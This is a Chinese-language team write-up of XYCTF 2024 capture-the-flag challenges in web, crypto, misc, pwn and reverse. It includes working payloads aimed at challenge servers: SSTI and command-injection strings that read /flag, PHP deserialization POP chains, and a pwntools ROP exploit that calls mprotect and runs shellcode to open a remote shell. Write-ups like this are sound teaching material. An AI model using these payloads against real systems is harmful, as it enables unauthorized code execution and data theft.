关于本文档
使用本文档来促进线上的队员和在比赛基地的队员之间的合作,并记录整个比赛的过程。
如何使用本文档
- 在你决定解一道题之前,请一定查看这道题当前的状态,并且把你的名字加入Working列表
- 如果你卡在某一到题上了,请及时更新这道题的状态
- 题目状态:
- OPEN – 没有人在解题。你可以做第一个!
- CLOSED – 这道题还没有打开
- ACTIVE – 有人正在试图解这道题。如果你正在做,请把名字写在 Working 后面。
- STUCK – 卡住了。如果你卡住了,请在下面留下当前进展和相关信息,还有你的名字(这样后来者就能联系你了)。当你决定放弃这道题时,请把名字从 Working 后面移除。
- SOLVED – 解决了!鼓掌撒花!
- 请勿将key直接贴在本文档中
- 重中之重:请及时更新每道题的状态!更新之后请刷新页面最上方的目录
网址
比赛时间
2024.04.01 10:00—2024.04.26 10:00
WEB
ezhttp
跟着这题写[LitCTF 2023]Http pro max plus
warm up
第一关:val1[]=1&val2[]=2&md5=0e215962017&XY=240610708&XYCTF=240610708
第二关:

利用的是preg_replace中的命令执行,/e参数可控
ezmd5

要求上传两个文件并比较,随便上传之后,发现会比较两个文件以及他们的md5是否相同,如果这是考察的php,那我们很容易便能绕过,但是现在我们应该做的是构造两个md5相等的不同的文件
去看下面的网站,可以找到我们想要的文件以及制作他们的方法
https://natmchugh.blogspot.com/2014/10/how-i-created-two-images-with-same-md5.html

ezRCE
这题过滤了挺多的,想了好久才想到用$’\八进制’的方法进行命令执行,
但是只能执行ls,无法查看ls /
原因是linus把你传入的当成一个整体了,空格的存在导致linus并没有把ls /命令识别出来
等了好几天才意外看到了p神的文章,在这里可以用$0<<<代替bash,然后就可以把后面的当成命令执行了

ezMake
makefile的命令执行,很简单,已经定义了shell的值:/bin/bash,直接命令执行就可以了

我是一个复读机
进去是一个登录界面,题目提示用户名是admin,丢进BP加载字典爆破密码,得到密码是asdqwe,登录进去是一个输入框,随便输一下,过滤了挺多东西,刚开始的方向错了,我以为是xss,试了一下可以正常弹窗,说明这里是存在xss漏洞的,可惜不是存储型的,无法利用。
题目说是复读机,确实也可以复读,经过队友提示,知道应该是SSTI模版注入,但是题目过滤了{},如果只是过滤了{{和}}还好说,直接用{% %}就可以了(注意要使用print),没有头绪……
脑洞来了,这题说只能看懂英语,那如果我输入中文呢?

可以看到,成功执行了

最终的payload:
index?sentence=六%print(()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.g)|attr(request.values.d)(request.values.h)(request.values.i))%&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=__builtins__&h=eval&i=__import__(“os”).popen(“cat /flag”).read()
后来读了一下xy_ssti.py,发现里面有if ord(word[i])>128: word='{‘+word[0:i]+word[i+1:]+’}’
这样就可以解释为什么payload要加中文了
ezSerialize
第一层:
<?php
include 'flag.php';
highlight_file(__FILE__);
error_reporting(0);
class Flag {
public $token;
public $password;
public function __construct($a, $b)
{
$this->token = $a;
$this->password = $b;
}
public function login()
{
return $this->token === $this->password;
}
}
if (isset($_GET['pop'])) {
$pop = unserialize($_GET['pop']);
$pop->token=md5(mt_rand());
if($pop->login()) {
echo $flag;
}
}
<?php
class Flag{
public $token;
public $password;
public function __construct(){
$this->password = &$this->token; //浅拷贝
}
}
$user = new Flag();
echo urlencode(serialize($user));
pop=O%3A4%3A%22Flag%22%3A2%3A%7Bs%3A5%3A%22token%22%3BN%3Bs%3A8%3A%22password%22%3BR%3A2%3B%7D
得到:
fpclosefpclosefpcloseffflllaaaggg.php
第二层:
<?php
highlight_file(__FILE__);
class A {
public $mack;
public function __invoke()
{
$this->mack->nonExistentMethod();
}
}
class B {
public $luo;
public function __get($key){
echo "o.O<br>";
$function = $this->luo;
return $function();
}
}
class C {
public $wang1;
public function __call($wang1,$wang2)
{
include 'flag.php';
echo $flag2;
}
}
class D {
public $lao;
public $chen;
public function __toString(){
echo "O.o<br>";
return is_null($this->lao->chen) ? "" : $this->lao->chen;
}
}
class E {
public $name = "xxxxx";
public $num;
public function __unserialize($data)
{
echo "<br>学到就是赚到!<br>";
echo $data['num'];
}
public function __wakeup(){
if($this->name!='' || $this->num!=''){
echo "旅行者别忘记旅行的意义!<br>";
}
}
}
if (isset($_POST['pop'])) {
unserialize($_POST['pop']);
}
$a = new A;
$b = new B;
$c = new C;
$d = new D;
$e = new E;
$a->mack=$c;
$b->luo=$a;
$d->lao=$b;
$e->num=$d;
$pop=serialize($e);
echo $pop;
wake up不用管
pop=O:1:”E”:2:{s:4:”name”;N;s:3:”num”;O:1:”D”:2:{s:3:”lao”;O:1:”B”:1:{s:3:”luo”;O:1:”A”:1:{s:4:”mack”;O:1:”C”:1:{s:5:”wang1″;N;}}}s:4:”chen”;N;}}
得到:
saber_master_saber_master.php
第三层:
一个类的属性,如何同时拥有两个类的属性
<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class XYCTFNO1
{
public $Liu;
public $T1ng;
private $upsw1ng;
public function __construct($Liu, $T1ng, $upsw1ng = Showmaker)
{
$this->Liu = $Liu;
$this->T1ng = $T1ng;
$this->upsw1ng = $upsw1ng;
}
}
class XYCTFNO2
{
public $crypto0;
public $adwa;
public function __construct($crypto0, $adwa)
{
$this->crypto0 = $crypto0;
}
public function XYCTF()
{
if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') {
return False;
} else {
return True;
}
}
}
class XYCTFNO3
{
public $KickyMu;
public $fpclose;
public $N1ght = "Crypto0";
public function __construct($KickyMu, $fpclose)
{
$this->KickyMu = $KickyMu;
$this->fpclose = $fpclose;
}
public function XY()
{
if ($this->N1ght == 'oSthing') {
echo "WOW, You web is really good!!!\n";
echo new $_POST['X']($_POST['Y']);
}
}
public function __wakeup()
{
if ($this->KickyMu->XYCTF()) {
$this->XY();
}
}
}
if (isset($_GET['CTF'])) {
unserialize($_GET['CTF']);
}
如题,在XYCTFNO2类中的XYCTF方法里,if条件语句判断的是$this->adwa->crypto0和$this->adwa->T1ng,但是crypto0和T1ng是两个不同类的属性,因此这里有个疑问,adwa如何才能同时拥有这两个类的属性
$a = new XYCTFNO1('yuroandCMD258','yuroandCMD258');
$a->crypto0='dev1l';
$a->T1ng='yuroandCMD258';
$b = new XYCTFNO2('dev1l',$a);
$b->adwa=$a;
$c = new XYCTFNO3($b,'oSthing');
$c->KickyMu=$b;
$d=urlencode(serialize($c));
echo $d;
CTF=O%3A8%3A%22XYCTFNO3%22%3A3%3A%7Bs%3A7%3A%22KickyMu%22%3BO%3A8%3A%22XYCTFNO2%22%3A2%3A%7Bs%3A7%3A%22crypto0%22%3Bs%3A5%3A%22dev1l%22%3Bs%3A4%3A%22adwa%22%3BO%3A8%3A%22XYCTFNO1%22%3A4%3A%7Bs%3A3%3A%22Liu%22%3Bs%3A13%3A%22yuroandCMD258%22%3Bs%3A4%3A%22T1ng%22%3Bs%3A13%3A%22yuroandCMD258%22%3Bs%3A17%3A%22%00XYCTFNO1%00upsw1ng%22%3Bs%3A9%3A%22Showmaker%22%3Bs%3A7%3A%22crypto0%22%3Bs%3A5%3A%22dev1l%22%3B%7D%7Ds%3A7%3A%22fpclose%22%3Bs%3A7%3A%22oSthing%22%3Bs%3A5%3A%22N1ght%22%3Bs%3A7%3A%22oSthing%22%3B%7D
echo new $_POST[‘X’]($_POST[‘Y’]);
利用原生类进行目录读取以及文件读取
X=DirectoryIterator&Y=glob:///var/www/html/*

X=SplFileObject&Y=php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php

这里要用php伪协议传进去,因为SplFileObject只会读取文件的第一行
最后解base64即可
ezPOP
call_user_func($a,$b)($c)($d);怎么构造命令执行?
参考ctfshow web128
连续调用回调函数,可以考虑_
echo _("ctfshownb");
//输出结果:ctfshownb
因此call_user_func(‘_’,’ctfshownb’) 返回的结果为ctfshownb
考点:php反序列化和强制gc机制
$x = new CCC();
$x->c = new AAA();
$x->c->s = new BBB();
$x->c->s->c = "cat /flag";
echo serialize($x);
将上面脚本生成的数据替换下面红色的数据即可
a:2:{i:0;O:3:”CCC”:1:{s:1:”c”;O:3:”AAA”:2:{s:1:”s”;O:3:”BBB”:2:{s:1:”c”;s:4:”ls /”;s:1:”d”;N;}s:1:”a”;N;}}i:0;N;}
最终payload:
xy=a:2:{i:0;O:3:”CCC”:1:{s:1:”c”;O:3:”AAA”:2:{s:1:”s”;O:3:”BBB”:2:{s:1:”c”;s:9:”cat /flag”;s:1:”d”;N;}s:1:”a”;N;}}i:0;N;}
然后post传参
?a=current&b=system
上面的序列化数据是一个数组对象,数组对象中有两个对象,一个是我们要反序列化的对象,另一个就是单纯的null。
但是我们发现两个对象的序号(键值)都是i:0,而反序列化是从里向外的,也就是说我们先反序列化了数组中的第一个对象,然后再序列化第二个对象,在序列化第二个对象时因为键是0,值是null,就会把原本键0指向的那个对象抛弃,指向一个null对象。这样原先那个对象就没有指向了,而当我们的对象没有指向的时候,这个对象就会被销毁,也就会触发destruct方法(否则源码中先回throw抛出错误,不会执行的destruct)
牢牢记住,逝者为大
第一层绕过,cmd的长度不能大于13
第二层绕过,cmd中不能有echo exec eval system fputs . / \ 字眼(这里/i就是大小写都识别)
第三层绕过,val_val中不能有bin mv cp ls | f a l ? * > 字眼
然后就是命令执行 #man,和cmd参数 和 manba out 拼接起来的命令
构造payload:
cp /flag /var/www/html/88.txt
将其转换为八进制,结果为143 160 040 057 146 154 141 147 040 057 166 141 162 057 167 167 167 057 150 164 155 154 057 070 070 056 164 170 164 012
(为什么不转为16进制,主要是第三层绕过里面有过滤f,而我们转换的结果里面包含了f)
我们将八进制统一加上/0,得到
\0143\0160\0040\0057\0146\0154\0141\0147\0040\0057\0166\0141\0162\0057\0167\0167\0167\0057\0150\0164\0155\0154\0057\0070\0070\0056\0164\0170\0164\0012
我们构造payload的时候要注意,eval执行的第一个字符是注释符,所以我们要绕过注释符,用到换行符%0A,同时还要注释掉后面的manba out避免影响eval执行命令,所以这里用到%23,用&连接前后语句,用%24表示$,这样就会执行我们后面的语句
/?cmd=%0A`$_GET[1]`;%23&1=%24(echo -e “\0143\0160\0040\0057\0146\0154\0141\0147\0040\0057\0166\0141\0162\0057\0167\0167\0167\0057\0150\0164\0155\0154\0057\0070\0070\0056\0164\0170\0164\0012”)
成功上传payload后
访问88.txt
得到flag

ezClass
<?php
highlight_file(__FILE__);
$a=$_GET['a'];
$aa=$_GET['aa'];
$b=$_GET['b'];
$bb=$_GET['bb'];
$c=$_GET['c'];
((new $a($aa))->$c())((new $b($bb))->$c());
这题还是考察的php的原生类(晚上看看)

利用报错+原生类得到flag
Crypto
factor1
Wiener’s Attack求d,然后根据n e d分解p q
import gmpy2
import libnum
import hashlib
import random
def continuedFra(x, y):
cf = []
while y:
cf.append(x // y)
x, y = y, x % y
return cf
def gradualFra(cf):
numerator = 0
denominator = 1
for x in cf[::-1]:
numerator, denominator = denominator, x * denominator + numerator
return numerator, denominator
def solve_pq(a, b, c):
par = gmpy2.isqrt(b * b - 4 * a * c)
return (-b + par) // (2 * a), (-b - par) // (2 * a)
def getGradualFra(cf):
gf = []
for i in range(1, len(cf) + 1):
gf.append(gradualFra(cf[:i]))
return gf
def wienerAttack(e, n):
cf = continuedFra(e, n)
gf = getGradualFra(cf)
for d, k in gf:
if k == 0: continue
if (e * d - 1) % k != 0:
continue
phi = (e * d - 1) // k
p, q = solve_pq(1, n - phi + 1, n)
if p * q == n:
return d
e = 172005065945326769176157335849432320425605083524943730546805772515111751580759726759492349719668775270727323745284785341119685198468883978645793770975366048506237371435027612758232099414404389043740306443065413069994232238075194102578269859784981454218948784071599231415554297361219709787507633404217550013282713899284609273532223781487419770338416653260109238572639243087280632577902857385265070736208291583497988891353312351322545840742380550393294960815728021248513046077985900158814037534487146730483099151396746751774427787635287611736111679074330407715700153025952858666841328055071403960165321273972935204988906850585454805923440635864200149694398767776539993952528995717480620593326867245714074205285828967234591508039849777840636255379730281105670496110061909219669860172557450779495125345533232776767292561378244884362014224844319802810586344516400297830227894063759083198761120293919537342405893653545157892446163
n = 99075185389443078008327214328328747792385153883836599753096971412377366865826254033534293886034828804219037466246175526347014045811852531994537520303063113985486063022444972761276531422538694915030159420989401280012025249129111871649831185047820236417385693285461420040134313833571949090757635806658958193793
d = wienerAttack(e, n ** 3)
print('d=', d)
k = e * d - 1
r = k
t = 0
while True:
r = r // 2
t += 1
if r % 2 == 1:
break
success = False
for i in range(1, 101):
g = random.randint(0, n)
y = pow(g, r, n)
if y == 1 or y == n - 1:
continue
for j in range(1, t):
x = pow(y, 2, n)
if x == 1:
success = True
break
elif x == n - 1:
continue
else:
y = x
if success:
break
else:
continue
if success:
p = libnum.gcd(y - 1, n)
q = n // p
print('P: ' + '%s' % p)
print('Q: ' + '%s' % q)
hash_result = hashlib.md5(str(p + q).encode()).hexdigest()
print(b'XYCTF{' + hash_result.encode() + b'}')
else:
print('Cannot compute P and Q')
#XYCTF{a83211a70e18145a59671c08ddc67ba4}
babyRSAMAX
https://blog.csdn.net/m0_73725283/article/details/134702242
from Crypto.Util.number import *
from gmpy2 import *
from bytes import *
n = 39332423872740210783246069030855946244104982381157166843977599780233911183158560901377359925435092326653303964261550158658551518626014048783435245471536959844874036516931542444719549997971482644905523459407775392702211086149279473784796202020281909706723380472571862792003687423791576530085747716706475220532321
e = 65537
c = 1813650001270967709841306491297716908969425248888510985109381881270362755031385564927869313112540534780853966341044526856705589020295048473305762088786992446350060024881117741041260391405962817182674421715239197211274668450947666394594121764333794138308442124114744892164155894256326961605137479286082964520217
def Pollards_p_1(N):
a = 2 # 为了快速计算以及满足费马小定理条件
n = 2 # 从1开始没必要
while (True):
a = pow(a, n, N) # 递推计算a^B!
p = gcd(a - 1, N) # 尝试计算p
if p != 1 and p != N: # 满足要求则返回
# print(n)
return p
n += 1
p = Pollards_p_1(n)
q = n // p
phi = (p - 1) * (q - 1)
d = invert(e, phi)
m = powmod(c, d, n)
print(long_to_bytes(m))
解出来:
p= 236438400477521597922950445153796265199072404577183190953114805170522875904551780358338769440558816351105253794964040981919231484098097671084895302287425479
q= 166353789373057352195268575168397750362643822201253508941052835945420624983216456266478176579651490080696973849607356408696043718492499993062863415424578199
b’XYCTF{e==4096}’
gift1 = (pow(p,e,n)-pow(q,e,n)) % n
gift2 = pow(p+q,e,n)

分析可得gift1+gift2=k1p,gift2-gift1=k2q
可以拆出来p和q?
拆出来的p和q应该不是最简的,但是应该没什么大问题,尝试计算(p*q)%n=0,但是pq无法再次分解,卡住了
计算一下可以得出e和phi不互素,可以参考下面这个视频
有限域开根:
sage分别解出p和q的有限域
p= 236438400477521597922950445153796265199072404577183190953114805170522875904551780358338769440558816351105253794964040981919231484098097671084895302287425479
q= 166353789373057352195268575168397750362643822201253508941052835945420624983216456266478176579651490080696973849607356408696043718492499993062863415424578199
n = 39332423872740210783246069030855946244104982381157166843977599780233911183158560901377359925435092326653303964261550158658551518626014048783435245471536959844874036516931542444719549997971482644905523459407775392702211086149279473784796202020281909706723380472571862792003687423791576530085747716706475220532321
e = 4096
c = 1813650001270967709841306491297716908969425248888510985109381881270362755031385564927869313112540534780853966341044526856705589020295048473305762088786992446350060024881117741041260391405962817182674421715239197211274668450947666394594121764333794138308442124114744892164155894256326961605137479286082964520217
R.<x> = Zmod(p)[]
f = x ^ e - c
f = f.monic()
res1 = f.roots()
R.<x> = Zmod(q)[]
f = x ^ e - c
f = f.monic()
res2 = f.roots()
print(res1)
print(res2)
CRT(中国剩余定理)
res1 = [(236438400477521597922950445153796265199072404577183190953114805170522875904551780358338769404214275971858584747720119200208117068403781208566503489403215434, 1), (36344540379246669047243921781711114415694316462518391812884210045, 1)]
res2 = [(166353789373057352195268575168397750362643822201253508941052835945420624983216456266478176543306949701450304802363434626984929302798183530544471602540368154, 1), (36344540379246669047243921781711114415694316462518391812884210045, 1)]
for i in res1:
for j in res2:
# 中国剩余定理
m = libnum.solve_crt([int(i[0]), int(j[0])], [p, q])
flag = long_to_bytes(m)
if flag.startswith(b'XYCTF'):
print(flag)
解出来flag:
b’XYCTF{Rabin_is_so_biggggg!}’
x0y
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import os
flag = open("flag.txt", "rb").read()
key = os.urandom(16)
iv = os.urandom(16)
flag = pad(flag, 16)
def aes_encrypt(key, plaintext):
cipher = AES.new(key, AES.MODE_ECB)
return cipher.encrypt(plaintext)
def encrypt(key, plaintext, iv):
ciphertext = b""
for i in range(0, len(plaintext), AES.block_size):
key_block = aes_encrypt(key, iv)
ciphertext_block = bytes([plaintext[i + j] ^ key_block[j] for j in range(AES.block_size)])
ciphertext += ciphertext_block
iv = key_block
return ciphertext
while 1:
try:
print("1.print\n2.input\n3.exit")
a = input("> ")
if a == "1":
print((iv + encrypt(key, flag, iv)).hex())
elif a == "2":
ivs = bytes.fromhex(input("iv: "))
inputs = bytes.fromhex(input("message: "))
print(encrypt(key, inputs, ivs).hex())
elif a == "3":
exit(0)
else:
print("You need input 1,2,3")
except:exit(0)
这题我刚开始想复杂了,我试图通过多组加密的明文和密文爆破出key(因为程序中的key始终相等)(甚至想到了CBC字节翻转攻击),但是其实是不行的(浪费了好长时间)
这题正确做法是利用打印出来的iv和flag密文再次进行加密,然后去掉填充16进制转字符串就可以了


Sign1n_Revenge | Sign1n[签到]
b = 12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456799123455678912234677900123556899012456678011344577891223467780113455788901245667800124557899122346778011335668891233566780113445679902334568900133566889112346778011344577991223457790013356688912234677801134457799122355779001335668890223566789112455778012234677900134456899023356679001344577890233566890113455689911234677891224556899023
b = str(b)
print("b =",b)
def reverse_custom_add(output_str):
output_list = list(output_str)
length = len(output_list)
for i in range(length):
output_list[i] = str((int(output_list[i]) - (i + 1)) % 10)
result = ''.join(output_list)
return result
input_str = b
result = reverse_custom_add(input_str)
print("a =",result)
a = result
def reverse_swap_bits(output_str):
output_list = list(output_str)
length = len(output_list)
for i in range(length // 2):
temp = output_list[i]
output_list[i] = output_list[length - 1 - i]
output_list[length - 1 - i] = temp
input_str = "0b" + ''.join(output_list)
return input_str
input_str = a
result = reverse_swap_bits(input_str)
print("leak =",result)
link = result
binary_str = "0b101010"
binary_num = int(binary_str, 2)
print(binary_num) # 输出:42
while link[-1] == '0':
link = link.rstrip('0')
link = int(link,2)
flag=long_to_bytes(link)
print(flag)
happy_to_solve1
from Crypto.Util.number import *
import sympy
from secrets import flag
def get_happy_prime():
p = getPrime(512)
q = sympy.nextprime(p ^ ((1 << 512) - 1))
return p, q
m = bytes_to_long(flag)
p, q = get_happy_prime()
n = p * q
e = 65537
print(n)
print(pow(m, e, n))
from Crypto.Util.number import *
import gmpy2
n=24852206647750545040640868093921252282805229864862413863025873203291042799096787789288461426555716785288286492530194901130042940279109598071958012303179823645151637759103558737126271435636657767272703908384802528366090871653024192321398785017073393201385586868836278447340624427705360349350604325533927890879
c=14767985399473111932544176852718061186100743117407141435994374261886396781040934632110608219482140465671269958180849886097491653105939368395716596413352563005027867546585191103214650790884720729601171517615620202183534021987618146862260558624458833387692782722514796407503120297235224234298891794056695442287
e=65537
for r in range(100000):
t1=(1<<512)-1+r
t2,s=gmpy2.iroot(t1**2-4*n,2)
if s:
p=(t1+t2)//2
q=n//p
d=gmpy2.invert(e,(p-1)*(q-1))
print(long_to_bytes(pow(c,d,n)))
break
Misc
我的二维码为啥扫不出来?
from PIL import Image
from pyzbar import pyzbar
import cv2
import random
def is_qr_code_scannable(qr_code_image):
# Convert the image to grayscale
gray_image = cv2.cvtColor(qr_code_image, cv2.COLOR_BGR2GRAY)
# Decode QR codes
decoded_objects = pyzbar.decode(gray_image)
# Check if any QR codes were decoded
if len(decoded_objects) > 0:
return True
return False
def reverse_color(x):
return 0 if x == 255 else 255
def reverse_row_colors(pixels, row, width, block_size=10):
for x_block in range(width // block_size):
x = x_block * block_size
y = row * block_size
for x_small in range(x, x + block_size):
for y_small in range(y, y + block_size):
pixel = pixels[x_small, y_small]
pixels[x_small, y_small] = reverse_color(pixel)
def reverse_col_colors(pixels, col, height, block_size=10):
for y_block in range(height // block_size):
x = col * block_size
y = y_block * block_size
for x_small in range(x, x + block_size):
for y_small in range(y, y + block_size):
pixel = pixels[x_small, y_small]
pixels[x_small, y_small] = reverse_color(pixel)
original_img = Image.open("new.png")
new_img = original_img.copy()
width, height = new_img.size
pixels = new_img.load()
reverse_col_colors(pixels, 5, height)
reverse_col_colors(pixels, 2, height)
reverse_row_colors(pixels, 1, width)
reverse_col_colors(pixels, 0, height)
reverse_row_colors(pixels, 12, width)
reverse_col_colors(pixels, 10, height)
reverse_col_colors(pixels, 11, height)
new_img.save(f"./xxx/flag.png")
一个一个查的,本来想爆破出所有的,但是脚本没写出来,只能看着二维码一个一个改了
分享一个二维码辅助修复的网站,用的是Github的项目搭建的,但是那个项目现在找不到了

美妙的歌声
用Audacity分析频谱图,得到以下内容,没出来,不知道是不是有其他的东西

问了出题人,这里确实是假的,那么这里的东西应该就是接下来某一步的密钥
常见的图片里面藏数据的工具有slienteye和deepsound,我只用过slienteye,所以刚开始没有解出来,后来就去Github把deepsound下载下来,用XYCTF_1s_w3ll当密码,解出来flag.txt文件,得到flag

Rosk,Paper,Scissors!
找规律(xby牛逼)


ZIP神之套
一个压缩包,一个exe文件,但是打开就闪退,用ida打开,看到一个字符串:xyctf????????ftcyx,用掩码攻击,中间为数字,爆破出来压缩包密码xyctf20240401ftcyx
解压后又是两个压缩包,flag.zip没有密码,直接解压,得到200个文件,刚开始思路错了,原因是200个文件中全都是AB组合的内容,我想到了二维码,转换后发现并不是。
后来打开另一个压缩包,发现里面的内容只比flag.zip多了一个文件,其他文件都相同,那直接明文攻击就好了

解压后得到一个flag.md文件,flag就在里面
TCPL
参考这篇文章
https://blog.csdn.net/qq_65474192/article/details/137714141
出题有点烦
得到五张图片,放在01Editor里面查看并修改图片文件头
没看出来图片里面有什么信息,打开kali终端,把五张图片用binwalk分析
前面四张图片没什么大用,主要是第五个,放在binwalk里面分解可以得到一个压缩包,爆破出解压密码为xyctf
得到xy@ct$f文件,flag就在里面
EZ_Base1024*2
base2048加密
去Github上找到MIT的开源js代码
import { encode, decode } from 'base2048'
const uint8Array = new Uint8Array([1, 2, 4, 8, 16, 32, 64, 128])
const str = encode(uint8Array)
console.log(str) // 'מಥൎࢺଳɫअΥٻଯԢڥիɺ୦ࢸЭਘמۊիɎඥࡆڣߣಷܤҾয౽5'
const uint8Array2 = decode('מಥൎࢺଳɫअΥٻଯԢڥիɺ୦ࢸЭਘמۊիɎඥࡆڣߣಷܤҾয౽5')
console.log(uint8Array2)
// [1, 2, 4, 8, 16, 32, 64, 128]
// 假设你有一个名为 uint8Array2 的 Uint8Array,它包含解码后的数据
const decoder = new TextDecoder('ascii');
const asciiString = decoder.decode(uint8Array2);
console.log(asciiString);
运行得结果

Osint1
(拿了个三血)
滨海新区?这我可太熟了
可恶!竟然不是天津
找到了,江苏南通滨海新区金港大道
熊博士
CBXGU{ORF_BV_NVR_BLF_CRZL_QQ}
Atbash解码后得到flag
ez_隐写
第一个压缩包应该是伪加密,直接用7-Zip就解压了,得到一张hint图片和一个压缩包,修改hint图片文件头,得到hint:XYCTF开赛日期
用20240401解密压缩包,得到一张图片名字是watermark,考察的是水印,提取得到flag

签到
扫描二维码关注公众号,发送“XYCTF2024,启动启动启动!!!”获取flag
真>签到
丢进01Editor

zzl的护理小课堂
随便交一下,抓包,然后Drop,出来flag.php,再发包,得到flag

game
直接Google搜图得到游戏名
Pwn
static_link
from pwn import *
context(arch='amd64',os='linux')
p=remote("xyctf.top",40807)
elf=ELF("./vuln")
bss=0x4C7000
size=0x1000
proc=0x7
pop_rdi=0x401f1f
pop_rsi=0x409f8e
pop_rdx=0x451322
read=elf.sym["read"]
mprotect=elf.sym["mprotect"]
payload=b"a"*(0x20+0x8)
payload+=p64(pop_rdi)+p64(bss)
payload+=p64(pop_rsi)+p64(size)
payload+=p64(pop_rdx)+p64(proc)+p64(mprotect)
payload+=p64(pop_rdi)+p64(0)
payload+=p64(pop_rsi)+p64(bss)
payload+=p64(pop_rdx)+p64(size)+p64(read)+p64(bss)
p.send(payload)
shellcode=asm(shellcraft.sh())
p.send(shellcode)
p.recv()
p.interactive()
Reverse
聪明的信使

ida打开,一眼看到这个字符串,凯撒解密即可

喵喵喵的flag碎了一地

根据提示得到第一段flag:flag{My_fl@g_h4s_
在函数名里面找到第二段:br0ken_4parT_

根据第二步找到的函数中的提示,找到最后一个函数

得到第三段:Bu7_Y0u_c@n_f1x_1t!}
最后拼起来就可以了
本文地址: XYCTF 2024 WP